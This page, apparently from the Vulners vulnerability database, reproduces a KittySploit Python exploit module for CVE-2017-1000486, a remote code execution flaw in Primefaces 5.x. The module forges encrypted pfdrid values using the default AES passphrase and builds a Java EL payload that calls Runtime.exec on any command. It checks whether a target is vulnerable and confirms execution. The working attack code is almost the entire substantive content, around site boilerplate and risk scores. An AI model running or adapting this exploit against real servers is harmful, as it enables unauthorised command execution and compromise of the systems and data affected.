Lucene search
+L

Primefaces EL Injection RCE (CVE-2017-1000486)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Weak AES passphrase in Primefaces allows EL injection for RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Primefaces weak encryption EL injection RCE (CVE-2017-1000486)."""

import base64
import re
from hashlib import md5

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Primefaces EL Injection RCE (CVE-2017-1000486)',
        'description': (
            'Exploits CVE-2017-1000486 in Primefaces 5.x: weak AES passphrase allows '
            'forging pfdrid payloads that evaluate Java EL expressions for RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-1000486'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-1000486',
            'https://github.com/pimps/CVE-2017-1000486',
        ],
        'tags': ['primefaces', 'jsf', 'el-injection', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_1000486_detect'],
            },
        },
    }

    resource_path = OptString(
        '/javax.faces.resource/dynamiccontent.properties.xhtml',
        'Primefaces dynamiccontent endpoint',
        required=False,
        advanced=True,
    )
    passphrase = OptString('primefaces', 'Primefaces crypto passphrase', required=False, advanced=True)

    _CHECK_PFDRID = (
        'uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo+QZuqhqtPxdTA=='
    )

    def _encrypt_el(self, expression: str) -> str:
        try:
            from Crypto.Cipher import AES
            from Crypto.Util.Padding import pad
        except ImportError:
            return ''
        key = md5(str(self.passphrase or 'primefaces').encode()).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        blob = cipher.encrypt(pad(expression.encode('utf-8'), 16))
        return base64.b64encode(blob).decode('utf-8')

    def _post(self, pfdrid: str) -> tuple[int, str, dict]:
        path = str(self.resource_path or '/javax.faces.resource/dynamiccontent.properties.xhtml').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data=f'pfdrt=sc&ln=primefaces&pfdrid={pfdrid}',
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': '*/*',
            },
            allow_redirects=False,
        )
        headers = {str(k): str(v) for k, v in (r.headers or {}).items()} if r else {}
        return (r.status_code if r else 0, (r.text or '') if r else '', headers)

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        el = (
            f"%{{''.getClass().forName('java.lang.Runtime')"
            f".getMethod('getRuntime',null).invoke(null,null)"
            f".exec('{safe}')}}"
        )
        pfdrid = self._encrypt_el(el)
        if not pfdrid:
            return ''
        status, body, _headers = self._post(pfdrid)
        return body if status == 200 else ''

    def check(self):
        status, body, headers = self._post(self._CHECK_PFDRID)
        if status == 200 and any('Mogwailabs: CHECKCHECK' in v for v in headers.values()):
            return {'vulnerable': True, 'reason': 'Primefaces EL injection confirmed', 'confidence': 'high'}
        if status == 200 and 'CHECKCHECK' in body:
            return {'vulnerable': True, 'reason': 'Primefaces dynamiccontent accepts forged pfdrid', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Primefaces EL bypass not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        body = self.execute('id')
        return bool(re.search(r'uid=\d+', body or ''))

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('EL exec not confirmed in-band — PyCryptodome required for custom payloads')
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.94104
SSVC
2